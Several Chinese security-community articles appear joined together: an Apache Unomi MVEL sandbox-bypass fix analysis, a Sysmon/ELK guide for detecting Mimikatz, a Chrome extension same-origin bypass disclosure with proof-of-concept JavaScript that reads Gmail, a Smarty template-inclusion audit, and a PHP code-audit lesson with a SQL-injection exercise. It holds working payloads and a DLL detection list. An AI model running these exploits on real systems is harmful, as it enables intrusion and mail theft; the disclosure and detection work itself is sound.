这2种方法都成功绕过了1.5.1版本中引入的"安全管控"(security control)，在2个不同的位置都实现了RCE。
漏洞危害：
Unomi可以与(通常在内网中的)各种数据存储、和数据分析系统紧密集成。该漏洞通过公开endpoint触发，攻击者可在服务器上运行OS命令。
该漏洞可作为内网横向移动中的一环。
### 修复过程
大致过程：Apache Unomi开发者的第1次修复，没修复完全，第2次(最终修复方案)算是修复了漏洞CVE-2020-13942。
【第1次修复】
为了缓解这2个漏洞, Unomi开发人员提出了一系列控制措施：
1.默认情况下，对于公开的endpoints的MVEL表达式的计算/运行处于关闭状态，但对于非公开的endpoints仍然存在漏洞。
默认情况下，OGNL表达式的计算/运行在任何地方都处于关闭状态。
2.使用正则表达式来过滤掉MVEL脚本中不期望出现的对象，例如Runtime，ProcessBuilder等。
具体代码如下
<https://github.com/apache/unomi/blob/0b81ba35dd3c3c2e0a92ce06592b3df90571eced/scripting/src/main/java/org/apache/unomi/scripting/ExpressionFilter.java#L39-L49>
// ExpressionFilter.java
public String filter(String expression) {
if (forbiddenExpressionPatterns != null && expressionMatches(expression, forbiddenExpressionPatterns)) {
logger.warn("Expression {} is forbidden by expression filter", expression);
return null;
}
if (allowedExpressionPatterns != null && !expressionMatches(expression, allowedExpressionPatterns)) {
logger.warn("Expression {} is not allowed by expression filter", expression);
return null;
}
return expression;
}
3.Potentially dangerous classes like Runtime, ProcessBuilder, etc. are
pointing to String class inside the MVEL runtime. (MvelScriptExecutor file in
the right pane)
有潜在危险的类(如Runtime、ProcessBuilder等)，指向MVEL runtime中的`String`类。
具体代码如下
<https://github.com/apache/unomi/blob/0b81ba35dd3c3c2e0a92ce06592b3df90571eced/scripting/src/main/java/org/apache/unomi/scripting/MvelScriptExecutor.java#L58-L66>
// MvelScriptExecutor.java
// override hardcoded Class Literals that are inserted by default in MVEL and that may be a security risk
parserContext.addImport("Runtime", String.class);
parserContext.addImport("System", String.class);
parserContext.addImport("ProcessBuilder", String.class);
parserContext.addImport("Class", String.class);
parserContext.addImport("ClassLoader", String.class);
parserContext.addImport("Thread", String.class);
parserContext.addImport("Compiler", String.class);
parserContext.addImport("ThreadLocal", String.class);
parserContext.addImport("SecurityManager", String.class);
【第1次修复】中提出的修复方案中的过滤是基于deny-list(黑名单)方法。这种方法从来都不是坚如磐石的安全管控，可能会被绕过。
这个filter允许计算/执行(经过过滤的那个MVEL表达式之内的)另一个MVEL表达式。这样做可以计算/执行恶意的MVEL表达式，从而避免了在MvelScriptExecutor中引入的潜在的危险的类覆盖。
Doing so allows evaluating the malicious MVEL expression avoiding the
potentially dangerous classes override introduced in the MvelScriptExecutor.
下面这个MVEL表达式调用了`MVEL.eval`，实现了在不受限制的环境中计算/执行另一个MVEL表达式。
其中那个将被执行的表达式的字符串由多个字符串拼接而成，通过使用"字符串拼接"来绕过正则表达式检查危险的类(如Runtime)，这些字符串会拼成一个字符串，作为一个参数，传入`MVEL.eval`。
可以绕过第1次修复：
java.util.Map context = new java.util.HashMap();
org.mvel2.MVEL.eval(
\" Runt\"+
\"ime r = Run\"+
\"time.getRu\"+
\"ntime();r.exe\"+
\"c('calc.exe') \", context);
【最终修复方案】
commits如下
<https://github.com/apache/unomi/pull/179/commits/3bba224ccad3facffa6342a0b68dff06ee07dd89>
最终修复方案引入了 对MVEL表达式的基于allow-list(白名单)的检查。 这个方案仅执行了明确允许了的表达式，因此不可能执行任意表达式。
能修改allowed-list吗？
表达式由`ExpressionFilter`类基于应用程序配置中定义的allowed-list进行过滤。 这个allowed-list在应用程序启动期间被加载，并且在应用程序运行时是不可变的，因此，不能在运行时修改这个allowed-list。
具体代码如下
<https://github.com/apache/unomi/blob/master/scripting/src/main/java/org/apache/unomi/scripting/ExpressionFilter.java>
附该文件的完整代码。
package org.apache.unomi.scripting;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.Set;
import java.util.regex.Pattern;
/**
* An expression filter is used to allow/deny scripts for execution.
*/
public class ExpressionFilter {
private static final Logger logger = LoggerFactory.getLogger(ExpressionFilter.class.getName());
private final Set<Pattern> allowedExpressionPatterns;
private final Set<Pattern> forbiddenExpressionPatterns;
public ExpressionFilter(Set<Pattern> allowedExpressionPatterns, Set<Pattern> forbiddenExpressionPatterns) {
this.allowedExpressionPatterns = allowedExpressionPatterns;
this.forbiddenExpressionPatterns = forbiddenExpressionPatterns;
}
public String filter(String expression) {
if (forbiddenExpressionPatterns != null && expressionMatches(expression, forbiddenExpressionPatterns)) {
logger.warn("Expression {} is forbidden by expression filter", expression);
return null;
}
if (allowedExpressionPatterns != null && !expressionMatches(expression, allowedExpressionPatterns)) {
logger.warn("Expression {} is not allowed by expression filter", expression);
return null;
}
return expression;
}
private boolean expressionMatches(String expression, Set<Pattern> patterns) {
for (Pattern pattern : patterns) {
if (pattern.matcher(expression).matches()) {
return true;
}
}
return false;
}
}
### 总结
从这个例子看出，有的漏洞修复代码只针对了特定的payload，再次证明了黑名单的修复方案往往容易被绕过。
"用户定义的表达式语言语句"(user-defined expression language statements)的计算/执行，非常危险且难以约束。
Struts 2是一个经典的例子，说明限制动态OGNL表达式(避免RCE)有多困难。
这些尝试是从EL内部/在EL上实施了使用限制，而不是出于通用目的"限制污染了的EL的使用"，这是一种反复迭代的修复方案(总被绕过)，而不是最终修复方案。
最终修复方案:
防止RCE的一种更可靠的方法是彻底删除对任意EL expressions的支持，创建一组依赖于 "动态参数"(dynamic parameters) 的
"静态表达式"(static expressions)。 | 社区文章 |
# 看我如何检测密码抓取神器Mimikatz的执行
|
##### 译文声明
本文是翻译文章，文章原作者 jordanpotti，文章来源：jordanpotti.com
原文地址：<https://jordanpotti.com/2018/01/03/automating-the-detection-of-mimikatz-with-elk/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
此前，我阅读了CyberWarDog的威胁主动出击（Threat
Hunting）文章，并且还偶然发现并仔细阅读了他的[“寻找内存中的Mimikatz”系列文章](https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html)。其中，用于构建签名的方法似乎非常简单，并且在对恶意工具的分析过程中，已经解决了寻找入口的这一障碍。
[用于检测Mimikatz的方法](https://sqrrl.com/threat-hunting-reference-guide/)被称为分组（Grouping），具体来讲，是获取一组特殊的Artifacts，并且识别多个特殊的Artifacts同时出现的时间。在本文中，我们将参考CyberWarDog的方法，来探讨如何使用Sysmon和ELK
Stack对密码抓取神器Mimikatz进行检测与告警。
我们假设你已经拥有一个ELK
Stack，并且配置了[ElastAlert集成](https://jordanpotti.com/2017/12/22/using-elastalert-to-help-automate-threat-hunting/)。这样，就可以在几分钟的时间里迅速将HELK搭建成功（ElastAlert后续会与其合并）。
一开始，我认为这并不是一个完美的解决方案。其思路很简单，如果在同一个主机中，有5个DLL在1秒钟之内被接连访问，那么就发出告警。然而，很不巧，ElastAlert没有内置这个功能，同样Python也没有。
## Sysmon配置
我使用的Sysmon配置是Ion-Storm Sysmon Config，源文件位于： <https://github.com/ion-storm/sysmon-config/blob/master/sysmonconfig-export.xml>
。默认情况下，正确的事件将会被转发。其中的第571-579行如下：
<!-- Mimikatz Detection -->
<ImageLoaded
condition="is">C:WindowsSystem32WinSCard.dll</ImageLoaded>
<!--MimiKatz Detection Credit: @Cyb3rWard0g:
https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html
-->
<ImageLoaded
condition="is">C:WindowsSystem32cryptdll.dll</ImageLoaded>
<!--MimiKatz Detection Credit: @Cyb3rWard0g:
https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html
-->
<ImageLoaded
condition="is">C:WindowsSystem32hid.dll</ImageLoaded>
<!--MimiKatz Detection Credit: @Cyb3rWard0g:
https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html
-->
<ImageLoaded
condition="is">C:WindowsSystem32samlib.dll</ImageLoaded>
<!--MimiKatz Detection Credit: @Cyb3rWard0g:
https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html
-->
<ImageLoaded
condition="is">C:WindowsSystem32vaultcli.dll</ImageLoaded>
<!--MimiKatz Detection Credit: @Cyb3rWard0g:
https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html
-->
<ImageLoaded
condition="is">WMINet_Utils.dll</ImageLoaded>
<!--MimiKatz Detection Credit: @Cyb3rWard0g:
https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html
-->
<ImageLoaded
condition="contains">Temp</ImageLoaded>
<!-- END: Mimikatz Detection -->
最开始，我们需要写一个脚本，来进行一些逻辑上的验证。我试图让Python工具尽可能模块化，这样我们就可以轻松地对其他事件“分组”进行告警。
我们将要检测的5个DLL是：
Cryptdll.dll
Hid.dll
Samlib.dll
Vaultcli.dll
Winscard.dll
在这里，还存在误报的一种可能性，如果恰巧这些DLL在1分钟之内被正常访问，那么同样会产生告警。
## 告警脚本
在运行ELK Stack的服务器上，我们首先创建py-alert.py并编辑：
sudo
nano /bin/py-alert.py
py-alert.py的源代码如下：
#!/usr/bin/python
import sys
from argparse import ArgumentParser
import datetime
import requests
import subprocess
import os
time = datetime.datetime.now().strftime("%H:%M-%y-%m-%d")
def print_banner():
print('''npy-alert.py is a tool written to
expand the functionality of ElastAlert
Author: Jordan Potti
Twitter: @ok_bye_nown'''
)
def main():
global arguments
parser = ArgumentParser()
parser.add_argument("-T",
dest="action",required=True,help="Action Type: Send Alert (S) or
Data Write (D)")
parser.add_argument("-a",
dest="detection",required=True,help="Alert Name")
parser.add_argument("-c",
dest="host",required=False,help="Host to record")
parser.add_argument("-S",
dest="slack",required=False,help="Slack Web Hook")
parser.add_argument("-t",
dest="tripped",required=False,help="Number or Hosts needed to
alert")
if len(sys.argv) == 1:
print_banner()
parser.error("No arguments
given.")
parser.print_usage
sys.exit()
arguments = parser.parse_args()
outfile = '/tmp/'+arguments.detection
if arguments.action == 'D':
with open (outfile, "a+") as
out_file:
out_file.write(arguments.host+"n")
if arguments.action == 'S':
command = "head -50 %s | sort |
uniq -c | gawk '$1>=%s{print $2}'" %(outfile,arguments.tripped)
print(command)
output = os.popen(command).read()
if output != '':
output = str(output)
output = output.replace('b'','')
output = output.replace('\n','')
out_file = open(outfile, 'w')
out_file.write("Host: " +
output)
out_file.write("Alert Type:
" + arguments.detection+"n")
out_file.write("Time: " +
time)
out_file = open(outfile, 'r')
webhook_url = arguments.slack
slack_data =
{"text":out_file.read()}
slack_data = str(slack_data)
slack_data =
"payload="+slack_data
response = requests.post(
webhook_url, data=slack_data,
headers={'Content-Type':
'application/x-www-form-urlencoded'})
if response.status_code != 200:
raise ValueError('Request to
slack returned an error %s, the response is: %s' % (response.status_code,
response.text))
os.remove(outfile)
main()
然后，执行该Python脚本：
sudo chmod 755 /bin/py-alert.py
该脚本可以处理我们的全部逻辑，并负责发送Slack Notification告警通知。借助这些选项，我们可以对任何事件组合进行告警。
## 配置告警规则
接下来，将我们的单个规则添加到告警规则目录中。
可以从GitHub获取到我们的规则：
git clone https://github.com/jordanpotti/ElastAlertGrouper.git
随后，将规则文件复制到ElastAlert规则目录中：
sudo cp ElastAlertGrouper/alert_rules/* /etc/elastalert/alert_rules/
现在，在规则目录中就已经有了6条新规则。当指定DLL被加载时，相应的规则将被匹配到，随后立即发出告警。
以下为samlib.yaml的源代码：
es_host:
localhost
es_port:
9200
name:
"samlib"
realert:
minutes: 0
index:
winlogbeat-*
filter:
- query:
wildcard:
event_data.ImageLoaded:
"*samlib*"
type:
any
alert:
- command
command:
["/bin/py-alert.py","-T","D","-a","Mimikatz","-c","%(computer_name)s"]
如你所见，我们配置了典型的告警规则选项，并且会在event_data.ImageLoaded中查询samlib。当告警被触发时，会使用如下命令调用我们的Python脚本：
python3
/bin/py-alert.py –T D –a Mimikatz –o /tmp/mimikatz –c $ComputerName
其中的参数-T用于指定脚本将要采取的动作，由于我们这里只是将主机名写入文件，所以我们要使用“Document”或者“D”选项。
其中的参数-a是告警类型，在这里是Mimikatz。
其中的参数-c是从告警事件中获取的主机名。
上面的设置针对所有DLL告警事件。因此，当Mimikatz在系统中运行时，输出文件中将会有5个主机名被写入。
## 配置捕获Mimikatz的规则
接下来，让我们来看看Mimikatz的规则：
es_host:
localhost
es_port:
9200
name:
"Mimikatz"
index:
elastalert_status
realert:
minutes: 0
type:
cardinality
cardinality_field:
rule_name
max_cardinality:
4
filter:
- terms:
rule_name:
- winscard
- cryptdll
- hid
- samlib
- vaultcli
- term:
alert_sent: true
timeframe:
seconds: 1
alert:
- command
command:
["python3","/bin/py-alert.py",
"-T","S","-S","SLACKWEBHOOK","-a","Mimikatz","-t","5"]
此告警使用了另外一个索引。实际上，ElastAlert有它自己的索引，在每次告警时都会对其进行查询。因此，我们现在可以查看这个索引，来确认5个DLL的告警是不是在1秒之内被接连触发的。这一过程只需要通过对DLL规则进行筛选就可以完成，并且它只返回那些alert_sent标志设置为true的内容，并且只在1秒之内识别出5个结果的时候才发出告警。
此时，我们需要生成一个Slack Web Hook，并使用我们的Web钩子替换“SLACKWEBHOOK”。
其中，告警功能的实现同样是通过调用一个Python脚本：
python3
/bin/py-alert.py –T S –S SLACKWEBHOOK –a Mimikatz –t 5
其中的参数-T代表要执行的操作，在这里，我们要执行“Send”操作。
其中的参数-S需要配置为我们的Slack Web Hook。
其中的参数-a代表需要对哪些检测到的类型进行告警。
其中的参数-t代表次数，我们只在输出文件中有5个或者更多特定的主机名时才会产生告警。
最后一部分是最重要的，其中的这个数字应该是我们“分组”中的规则数量。
## 测试过程
接下来，我们运行Mimikatz：
立即收到了相关告警：
## 总结
有一点需要特别强调，上述内容已经在实验室的环境中进行了测试，而我们实验室的环境中只有几个终端主机。如果需要在生产环境中进行部署，可能需要根据终端的数量进行相应的调整。
关于如何手动部署的更深入指导，请参考我们实验室的文章：<https://cyberwardog.blogspot.com/2017/02/setting-up-pentesting-i-mean-threat_98.html>
如果在过程中遇到任何问题，欢迎随时通过Twitter
https://twitter.com/ok_bye_now或电子邮件[email protected]与我联系。
我们在本文中涉及到的脚本，并不保证一定能在所有人的环境中成功实现，需要以此为参考进行相应的调整。大家知道，不要盲目信任网络上的脚本，需要加以自行判断。 | 社区文章 |
`本文为2018年十大网络黑客技术题名文章，欢迎来读`
### 摘要
由于常规网页在传递消息的过程中缺乏正确的检查，所以这些网页中的Chrome扩展程序均可以调用后台页面的API。这些API对一些危险的操作并没有进行过滤，然而这些操作不能由互联网上的网页进行调用。例如，后台API可以调用`“thGetVoices”`方法，并提供由扩展名进行检索的URL以及通过`“postMessage”`方法返回的响应。通过此调用，攻击者可以使用受害者的身份会话进行劫持以从其他网站读取数据。为了验证我的设想，我创建了一个漏洞利用程序，在安装了扩展程序后，我成功的窃取并打印出所有用户的电子邮件。这并不是Gmail中的漏洞，而是使用此漏洞而产生的漏洞利用示例。`texthelp`在下一个工作日对其进行了修复工作。因此，最新版本的扩展程序不会受到此问题的影响。他们将进一步加强代码库的编写工作。
### 漏洞利用过程
`Read＆Write` 谷歌扩展程序使用脚本`“inject.js”`将自定义工具栏注入各种在线文档页面，例如Google Docs。
默认情况下，此内容脚本将注入所有`HTTP`和`HTTPS`源。 扩展的清单中的以下摘录证明了这一点：
...trimmed for brevity...
"content_scripts": [
{
"matches": [ "https://*/*", "http://*/*" ],
"js": [ "inject.js" ],
"run_at": "document_idle",
"all_frames": true
}
],
...trimmed for brevity...
在“inject.js”文件中，有一个事件监听器，用于通过`postMessage`并使用内容脚本注入的网页来发送消息：
window.addEventListener("message", this.onMessage)
这会在网页窗口的`postMessage`上调用`“this.onMessage”`函数。 以下是此功能的代码：
function onMessage() {
void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
enabledRW4GC: !1
}) : chrome.extension.sendRequest(event.data, function(e) {
window.postMessage(e, "*")
}))
}
在上面的代码片段中，可以看到该函数将通过“`chrome.extension.sendRequest`”将所有收到的`postMessage`消息传递给后台页面。
此外，对这些消息的响应将传递回`“onMessage”`函数，然后传递回网页。 这构造了一个代理，允许常规网页将消息发送到读写后台页面。
`Read＆Write`有许多后台页面，可以在扩展名清单的摘录中看到：
...trimmed for brevity...
"background": {
"scripts": [
"assets/google-analytics-bundle.js",
"assets/moment.js",
"assets/thFamily3.js",
"assets/thHashing.js",
"assets/identity.js",
"assets/socketmanager.js",
"assets/thFunctionManager.js",
"assets/equatio-latex-extractor.js",
"assets/background.js",
"assets/xmlIncludes/linq.js",
"assets/xmlIncludes/jszip.js",
"assets/xmlIncludes/jszip-load.js",
"assets/xmlIncludes/jszip-deflate.js",
"assets/xmlIncludes/jszip-inflate.js",
"assets/xmlIncludes/ltxml.js",
"assets/xmlIncludes/ltxml-extensions.js",
"assets/xmlIncludes/testxml.js"
]
},
...trimmed for brevity...
虽然有许多背景页面可以监听消息（以及许多通过这些消息调用的函数），但我们将主要研究于一个可进行利用的示例。
以下是文件`“background.js”`的摘录：
...trimmed for brevity...
chrome.extension.onRequest.addListener(function(e, t, o) {
...trimmed for brevity...
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
});
var c = new XMLHttpRequest;
c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
}))
}, c.send()
}
...trimmed for brevity...
上面的代码片段显示，当“`chrome.extension.onRequest`”侦听器被一个事件触发时，其`“method”`被设置为`“thGetVoices”`，`“type”`设置为`“1757FROM_PAGERW4G”`，将执行该片段。
如果事件的“payload.refresh”设置为字符串“true”，则`XMLHTTPRequest`将使用GET触发`“payload.url”`中指定的URL。
在`XMLHTTPRequest`完成，状态代码为200时，将使用请求的`responseText`生成响应消息。
通过使用此调用，我们可以使用URL向后台页面发送消息，该URL将与HTTP响应正文一起回复。
此请求将使用受害者的`cookie`执行，因此将允许网页上的payload窃取来自其他Web的内容。 以下payload是一个利用此功能的示例的例子：
function exploit_get(input_url) {
return new Promise(function(resolve, reject) {
var delete_callback = false;
var event_listener_callback = function(event) {
if ("data" in event && event.data.payload.response) {
window.removeEventListener("message", event_listener_callback, false);
resolve(event.data.payload.response);
}
};
window.addEventListener("message", event_listener_callback, false);
window.postMessage({
type: "1757FROM_PAGERW4G",
"method": "thGetVoices",
"payload": {
"refresh": "true",
"url": input_url
}
}, "*");
});
}
setTimeout(function() {
exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
alert("Gmail emails have been stolen!");
alert(response_body);
});
}, 1000);
上述漏洞利用代码进行攻击，并可以通过此漏洞读取跨源响应。在这种情况下，我们提供了Gmail的“简单HTML”版本的端点。上述payload可以托管在任何网站上，并且可以读取`Gmail`的用户的电子邮件。这个过程通过`postMessage`发出带有相应payload的消息并为响应消息添加事件监听器。通过链接通过`“exploit_get()”`函数返回的`JavaScript
Promises`，我们可以从用户通过身份验证的任何站点窃取数据（假设可以通过HTTP GET访问而无需任何特殊标头）。
上面的示例引用了“`thGetVoices`”后台方法进行调用，但这只是调用后台页面API时出现的漏洞之一。除了使用此调用之外，还可以利用以下漏洞的其他一些示例：
`“thExtBGAjaxRequest”`，攻击者可以使用它来执行带有参数的`“application/x-www-form-urlencoded;
charset = UTF-8”`类型的任意POST请求并读取响应正文。
`“OpenTab”`允许攻击者打开网页中的选项卡操作。
### 补救措施
此漏洞为一个常见的安全隐患，通常会在扩展程序处出现。
为了更灵活地使用Chrome扩展程序API，许多扩展程序将构建一个桥接，以允许从常规Web上下文中调用后台页面。
然而许多`Chrome扩展程序`开发人员忘记验证邮件的来源，所以在这种情况下，理想的操作可能是将大部分逻辑移动到内容脚本中，而不是通过`postMessage`进行调用。通过验证`isTrusted`属性触发的事件侦听器进行调用。
通过这种方式，可以确保所有呼叫都由用户操作触发，而不是由攻击者伪造。
本文为翻译稿件，来自：[https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html](https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html) | 社区文章 |
> Author： vspiders
> Blog： <http://blog.csdn.net/vspiders>
**前言**
还是要从bugku上的一道实战题目说起，其实事后才发现，自己在错误的道路上越走越远，故有此文。
* * *
**0x01 官方思路**
题目地址：<http://120.24.86.145:9006>
一波目录扫描，发现`1.zip`文件，果断下载解压，是网站源码。其中有包含`flag`的文件名`flag-asd.txt`,访问之即得答案。
**0x02 漏洞搜集**
事实上大多数人都会从这里开始，首先搜集科威盒子相关漏洞信息，主要有以下两个：
1. [SQL注入漏洞](http://0day5.com/archives/139/)
2. [任意文件下载漏洞][4]
通过注入漏洞可以顺利得到后台账号密码，这里就不多说了，`admin/a1234567`直接登录后台。
**0x03 审计之旅**
因为代码就功能层逻辑结构比较简单，先是通篇扫了一下，主要发现几个鸡肋漏洞。
1. 任意tpl文件上传覆盖
漏洞发生在`admin/skin_edit.php`页面。
<?php
require_once 'inc.php';
...
$type = !empty( $_GET['type'] ) ? trim( $_GET['type'] ) : "";
$name = !empty( $_GET['name'] ) ? trim( $_GET['name'] ) : "";
...
} elseif( $type == "ok" )
{
$path = ROOT.'/templates/'.$name.'/'.$_GET['aa'].'.tpl';
file_put_contents( $path ,$_POST['content']);
$templates->assign("msg","修改模板成功！");
$templates->display( templates ( 'msg.tpl' ) );
}
?>
`type、name`和`aa`变量均可控，因此可以修改任意模版文件。
这里存在一个小tips，由于路径可控，可以利用windows下的命名规则绕过上传，比如上传`aa=1.php:`,windows下会生成`1.php`但是却无法写入文件，但是P牛写过在IIS下，可以利用`<<<`向写入内容。
1. 科威框架解析
科威也是封装了底层框架，就在快要放弃之际，偶然发现在`templates_c`目录下发现大量php文件，并且里面内容为模板信息。再次点燃希望。
科威每次都是使用类似MVC的模式进行加载，每次都会读取tpl模版文件处理后并展示，整个逻辑框架如下：
我先是测试了直接向tpl文件中写入php代码，但它在编译时会过滤<?php、?>等敏感字符，就js加载php也被过滤掉了，这里尝试后未解。
**0x03 峰回路转**
在审计的过程中，`include/smarty/Smarty_Compiler.class.php`编译文件中的模版tags处理函数引起了我的兴趣，主要代码如下：
function _compile_tag($template_tag)
{
....
switch ($tag_command) {
case 'include':
return $this->_compile_include_tag($tag_args);
case 'include_php':
return $this->_compile_include_php_tag($tag_args);
...
主要意思是如果模板文件中出现`include_php`标签，则会调用文件包含函数。后面就不做过多分析，就是将任意文件进行`include()`包含，从而引发文件包含漏洞。
**0x04 漏洞利用**
首先上传一个`test.tpl`文件，注意文件路径，这里以`/admin/`为例，内容为php执行代码：
<?php phpinfo();?>
再修改`/admin/templates/index.tpl`文件为,构造`include_php`标签为：
<!--Kw[include_php file="test.tpl"]-->
访问`/admin/index.php`，即加载恶意执行代码
**0x05 后记**
也没有必要提供什么修复方案了，反正科威好像早就关门了。主要是学习下审计，锻炼下能力吧。
[4]: | 社区文章 |
本文由红日安全成员： **七月火** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第10篇**
代码审计文章：
## Day 10 - Anticipation
题目叫做预期，代码如下：
**漏洞解析** ：
这道题目实际上讲的是当检测到攻击时，虽然有相应的防御操作，但是程序未立即停止退出，导致程序继续执行的问题。程序在 **第一行处** 使用
**extract** 函数，将 **POST** 请求的数据全都注册成变量， **extract** 函数的定义如下：
> [ extract ](http://php.net/manual/zh/function.extract.php) ：(PHP 4, PHP 5,
> PHP 7)
>
> **功能** ：从数组中将变量导入到当前的符号表
>
> **定义** ： `int extract ( array &$array [, int $flags = EXTR_OVERWRITE [,
> string $prefix = NULL ]] )`
该函数实际上就是把数组中的键值对注册成变量，具体可以看如下案例：
这样我们就可以控制 **第7行** 处的 **pi** 变量。程序对 **pi** 变量进行简单的验证，如果不是数字或者没有设置 **pi**
变量，程序就会执行 **goAway** 方法，即记录错误信息并直接重定向到 **/error/**
页面。看来程序员这里是对非法的操作进行了一定的处理。但是关键在于，程序在处理完之后，没有立即退出，这样程序又会按照流程执行下去，也就到了 **第11行**
的 **assert** 语句。由于前面 **pi** 变量可以被用户控制，所以在这一行存在远程代码执行漏洞。
例如我们的payload为： **pi=phpinfo()** （这里为POST传递数据），然后程序就会执行这个 **phpinfo**
函数。当然，你在浏览器端可能看不到 **phpinfo** 的页面，而是像下面这样的图片：
但是用 **BurpSuite** ，大家就可以清晰的看到程序执行了 **phpinfo** 函数：
为了方便大家理解，笔者这里录制了debug程序的过程：
实际上，这种案例在真实环境下还不少。例如有些CMS通过检查是否存在install.lock文件，从而判断程序是否安装过。如果安装过，就直接将用户重定向到网站首页，却忘记直接退出程序，导致网站重装漏洞的发生。下面我们来看两个真实的案例。
## 实例分析
### FengCms 1.32 网站重装漏洞
本次实例分析，我们选取的是 **[FengCms 1.32](http://pan.baidu.com/s/1i33gNVR)** 。对于一个已经安装好的
**FengCms** ，当用户再次访问 **install/index.php** 时，就会导致网站重装。我们来具体看下程序的逻辑：
我们可以看到，如果是第一次安装网站，程序会在 **upload** 目录下生成一个 **INSTALL** 文件，用于表示该网站已经安装过(对应上图
**25-28行** 代码)。当我们再次访问该文件时，程序会先判断 **upload** 目录下是否有 **INSTALL**
文件。如果存在，则弹窗提示你先删除 **INSTALL** 文件才能进行网站重装(对应上图 **1-4行**
代码)。但是这里注意了，网站在弹出告警信息后，并没有退出，而是继续执行，所以我们在不删除 **INSTALL** 文件的情况下，仍可以重装网站。
比较有趣的是，原本网站安装成功后，程序会自动删除 **upload** 目录下的所有文件，来防止攻击者重装网站，然而这段代码却在注释当中，具体原因不得而知。
### Simple-Log1.6网站重装漏洞
我们再来看 **[Simple-Log1.6](http://down.admin5.com/php/42012.html#link)**
网站重装的例子。其 **install\index.php** 文件中，对网站安装成功的处理有问题，其代码是在下图 **17-20行** ，程序只是用
**header** 函数将其重定向到网站首页，然而程序还是会继续执行下去。
而且程序的安装逻辑其实是有问题的，安装步骤由 **$setup** 变量控制，而 **$setup** 变量可以被用户完全控制(如上图 **第10行**
代码)，攻击者完全可以控制网站的安装步骤。
## 漏洞利用
漏洞利用就极其简单了，我们先来看一下 **FengCms** ，我们直接访问 **install/index.php** 页面，无视弹出来的警告：
可以看到程序仍然可以继续安装。
我们再来看一下 **Simple-Log** 的重装利用：
直接post以上数据，即可重装网站数据。
## 修复建议
实际上，要修复这一类型的漏洞，我们只要在正确的地方退出程序即可。拿这次的例题举例，我们只需要在检查到非法操作的时候，直接添加退出函数，即可避免漏洞发生。例如使用
**die** 、 **exit** 等函数都是可以的，具体修复代码如下：
## 结语
看完了上述分析，不知道大家是否对 **未正确退出程序** 导致的攻击有了更加深入的理解，文中用到的 **CMS** 可以从这里( [**FengCms
1.32**](http://pan.baidu.com/s/1i33gNVR) 、 **[Simple-Log1.6](http://down.admin5.com/php/42012.html#link)**
)下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 **[email protected]** 联系我们。
**Day10** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
// index.php
<?php
include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo '<center><h1>查询结果为：</h1><pre>'.<<<EOF
+----+---------+--------------------+-------+
| id | name | email | score |
+----+---------+--------------------+-------+
| {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查询的对象id值不能为空！");
?>
// config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day10";
?>
# 搭建CTF环境使用的sql语句
create database day10;
use day10;
create table students (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
score int(8) unsigned not null );
INSERT INTO students VALUES(1,'Lucia','[email protected]',100);
INSERT INTO students VALUES(2,'Danny','[email protected]',59);
INSERT INTO students VALUES(3,'Alina','[email protected]',66);
INSERT INTO students VALUES(4,'Jameson','[email protected]',13);
INSERT INTO students VALUES(5,'Allie','[email protected]',88);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{tim3_blind_Sql}');
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！ | 社区文章 |
# 【知识】8月4日 - 每日安全知识热点
|
